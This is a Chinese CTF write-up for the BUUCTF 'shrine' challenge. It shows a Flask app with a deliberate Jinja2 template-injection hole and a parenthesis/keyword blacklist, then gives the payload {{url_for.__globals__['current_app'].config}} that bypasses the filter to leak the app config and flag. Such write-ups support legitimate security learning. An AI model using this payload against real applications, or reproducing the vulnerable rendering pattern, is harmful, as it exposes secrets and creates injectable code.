「配枪朱丽叶。」

RootのCTF学习笔记。

BUUCTF-WEB shrine(SSTI)

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

经测试,存在模板注入:
https://s2.ax1x.com/2019/12/06/QYtnP0.png

但是过滤掉了括号:

s = s.replace('(', '').replace(')', '')

而且把config和self加入了黑名单。
查阅资料得知:

当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。
如何绕过waf ? url_for 调取 current_app
介绍一个很牛逼的函数,叫做url_for,在它引用的内容中,有着 current_app 的全局变量。

payload:

{{url_for.__globals__['current_app'].config}}